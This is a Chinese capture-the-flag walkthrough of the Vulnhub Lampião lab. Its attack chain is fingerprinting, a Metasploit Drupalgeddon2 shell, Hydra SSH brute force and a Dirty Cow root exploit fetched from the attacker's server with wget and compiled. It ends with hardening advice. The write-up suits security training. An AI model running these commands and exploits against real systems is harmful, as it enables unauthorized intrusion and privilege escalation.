Lampião 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 Lampião 靶机,主题取自巴西历史人物 Lampião。完整路径包括:Web 指纹识别、Drupal 7 远程代码执行、网站内容枚举获取用户名、Hydra 爆破 SSH、最后利用 Dirty Cow(脏牛)内核漏洞提权至 root。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.166。
二、信息收集
(一)存活主机扫描
先对本地网段进行 ARP 存活探测,发现 192.168.153.166 为 VMware 虚拟机,再用 nmap 确认主机在线。
┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.166 00:0c:29:0c:86:1e VMware, Inc.┌──(root㉿kali)-[~] └─# nmap -sn 192.168.153.166 Host is up (0.00028s latency). MAC Address: 00:0C:29:0C:86:1E (VMware)(二)端口扫描
全端口扫描发现 22(SSH)、80 和 1898 三个开放端口。服务识别显示:SSH 为 OpenSSH 6.6.1p1(Ubuntu),真正的 Web 服务跑在 1898 端口,为 Apache 2.4.7,站点 generator 头暴露 CMS 为 Drupal 7,操作系统为 Linux 3.2 - 4.14。
┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.166 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1898/tcp open cymtec-port┌──(root㉿kali)-[~] └─# nmap -p22,80,1898 -sC -sV -O 192.168.153.166 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http? 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Lampião |_http-generator: Drupal 7 (http://drupal.org) Device type: general purpose Running: Linux 3.X|4.X OS details: Linux 3.2 - 4.14 Network Distance: 1 hop(三)指纹识别
使用 whatweb 对 1898 端口的 Web 服务做指纹识别,确认站点基于 Drupal 7,PHP 版本为 5.5.9。
┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.166:1898 http://192.168.153.166:1898 [200 OK] Apache[2.4.7], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.153.166], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.5.9-1ubuntu4.24], PasswordField[pass], Script[text/javascript], Title[Lampião], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.5.9-1ubuntu4.24]三、Drupalgeddon2 getshell(可选路径)
与 DC-1 相同,Drupal 7 可直接利用 Drupalgeddon2(CVE-2018-7600)拿到 www-data Shell。这里注意 Web 服务跑在 1898 端口,需要在模块中单独 set rport。拿到 Shell 后先记录内核版本,为后续提权做准备。
┌──(root㉿kali)-[~] └─# msfconsole -q msf > search Drupal 7 msf > use exploit/unix/webapp/drupal_drupalgeddon2 msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.153.166 msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898 msf exploit(unix/webapp/drupal_drupalgeddon2) > run meterpreter > getuid Server username: www-data meterpreter > shell python -c "import pty;pty.spawn('/bin/bash');" www-data@lampiao:/var/www/html$ uname -r 4.4.0-31-generic四、目录与网站内容枚举
(一)目录扫描
使用 dirsearch 对 Web 目录进行爆破,robots.txt 暴露了大量路径,其中 CHANGELOG.txt 可进一步确认 Drupal 精确版本为 7.54。
┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.166:1898 -x 401,403,404 [12:48:42] 200 - 32KB - /CHANGELOG.txt [12:48:43] 200 - 769B - /COPYRIGHT.txt [12:48:47] 301 - 327B - /includes -> http://192.168.153.166:1898/includes/ [12:48:49] 200 - 132KB - /includes/bootstrap.inc [12:48:49] 200 - 1KB - /install.php [12:48:56] 200 - 271B - /profiles/minimal/minimal.info [12:48:56] 200 - 743B - /profiles/standard/standard.info [12:48:57] 200 - 2KB - /README.txt [12:48:58] 200 - 744B - /robots.txt [12:49:00] 200 - 0B - /sites/example.sites.php [12:49:05] 200 - 42B - /xmlrpc.php(二)从网站文章提取用户名
访问网站首页并翻译页面内容,从文章提交信息中发现两个用户名 tiago 和 Eder,并附带一些测试痕迹。
(三)节点参数遍历获取提示
点击第 3 篇文章时 URL 为 ?q=node/3,尝试将节点号改为 node/2,页面可以正常访问,并给出了一个音频文件和一张二维码图片。播放音频可听到 user tiago;扫描二维码识别出提示文字 Try harder! muahuahua。
五、Hydra 爆破 SSH
至此已经获得两个用户名 tiago 和 Eder。使用 cewl 爬取网站内容生成密码字典 password.txt,再用 Hydra 对暴露的 22 端口 SSH 服务进行爆破,成功得到 tiago 用户的凭据 tiago/Virgulino,随后 SSH 登录靶机。
┌──(root㉿kali)-[~] └─# echo -e 'tiago\nEder' > username.txt ┌──(root㉿kali)-[~] └─# cewl http://192.168.153.166:1898 -o password.txt ┌──(root㉿kali)-[~] └─# hydra -L username.txt -P password.txt ssh://192.168.153.166 [22][ssh] host: 192.168.153.166 login: tiago password: Virgulino┌──(root㉿kali)-[~] └─# ssh tiago@192.168.153.166 tiago@192.168.153.166's password: Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686) tiago@lampiao:~$ id uid=1000(tiago) gid=1000(tiago) groups=1000(tiago) tiago@lampiao:~$ whoami tiago六、Dirty Cow 脏牛提权
登录后回顾前面记录的内核版本 4.4.0-31-generic,该版本处于 Dirty Cow(CVE-2016-5195)影响范围内。使用 searchsploit 找到对应利用代码 linux/local/40847.cpp,本地起 HTTP 服务将文件传到靶机,g++ 编译后运行,程序会自动调用 su 并给出 root 密码 dirtyCowFun,直接提权至 root。
┌──(root㉿kali)-[~] └─# searchsploit Dirty Cow ------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------ --------------------------------- Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /p | linux/local/40847.cpp ------------------------------------------ --------------------------------- ┌──(root㉿kali)-[~] └─# searchsploit Dirty Cow -m linux/local/40847.cpp ┌──(root㉿kali)-[~] └─# python -m http.server 8888www-data@lampiao:/var/www/html$ wget http://192.168.153.162:8888/40847.cpp www-data@lampiao:/var/www/html$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil www-data@lampiao:/var/www/html$ ./dcow Running ... Received su prompt (Password: ) Root password is: dirtyCowFun Enjoy! :-) root@lampiao:/var/www/html# id uid=0(root) gid=0(root) groups=0(root) root@lampiao:/var/www/html# whoami root root@lampiao:/var/www/html# cat /root/flag.txt 9740616875908d91ddcdaa8aea3af366七、总结
Lampião 靶机的完整攻击链如下:
1. 端口与指纹识别确认目标为运行在 1898 端口的 Drupal 7.54;
2. 通过 Drupalgeddon2 漏洞可直接 getshell,并记录内核版本为 4.4.0-31-generic;
3. 目录扫描与网站文章枚举,从作者署名和节点内容中提取 tiago、Eder 两个用户名,并通过音频、二维码收集提示;
4. 使用 cewl 生成字典、Hydra 爆破 SSH,获得 tiago/Virgulino 登录服务器;
5. 利用 Dirty Cow(CVE-2016-5195)内核漏洞提权至 root,读取 /root/flag.txt。
对应的安全建议:① 及时升级 CMS 与内核版本,修补 Drupal RCE 与 Dirty Cow 等高危漏洞;② 网站公开内容中不应暴露真实用户名、测试路径与多媒体提示信息;③ SSH 应禁用密码登录、改用密钥认证,并对暴露服务做访问控制;④ 按最小权限分配 Web 与普通用户权限,限制可写目录与编译环境。